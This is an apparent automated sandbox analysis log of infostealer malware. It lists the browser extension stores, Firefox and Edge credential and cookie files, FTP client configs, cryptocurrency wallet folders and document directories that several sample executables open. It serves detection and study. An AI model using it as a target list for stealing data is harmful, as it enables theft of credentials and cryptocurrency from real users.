Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
OS version to string mapping found (often used in BOTs)
Source: 4V88JM9ZW2IZ0ZQGW7B.exe Binary or memory string: WIN_81
Source: 4V88JM9ZW2IZ0ZQGW7B.exe Binary or memory string: WIN_XP
Source: 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000000.1953763207.0000000000272000.00000002.00000001.01000000.00000009.sdmp Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: 4V88JM9ZW2IZ0ZQGW7B.exe Binary or memory string: WIN_XPe
Source: 4V88JM9ZW2IZ0ZQGW7B.exe Binary or memory string: WIN_VISTA
Source: 4V88JM9ZW2IZ0ZQGW7B.exe Binary or memory string: WIN_7
Source: 4V88JM9ZW2IZ0ZQGW7B.exe Binary or memory string: WIN_8
Searches for user specific document files
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN Jump to behavior
